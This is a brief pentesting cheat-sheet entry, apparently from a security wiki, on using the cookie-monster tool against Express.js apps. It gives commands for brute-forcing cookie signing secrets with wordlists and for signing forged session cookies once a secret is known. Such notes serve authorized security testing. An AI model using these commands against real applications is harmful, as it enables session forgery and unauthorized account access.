NodeJS Express
The tool https://github.com/DigitalInterruption/cookie-monster is a utility for automating the testing and re-signing of Express.js cookie secrets.
$ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
$ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
$ cookie-monster -b -f cookies.json
$ cookie-monster -b -f cookies.json -w custom.lst
if you know the secret you can sign a the cookie.
$ cookie-monster -e -f new_cookie.json -k secret
Last modified 1yr ago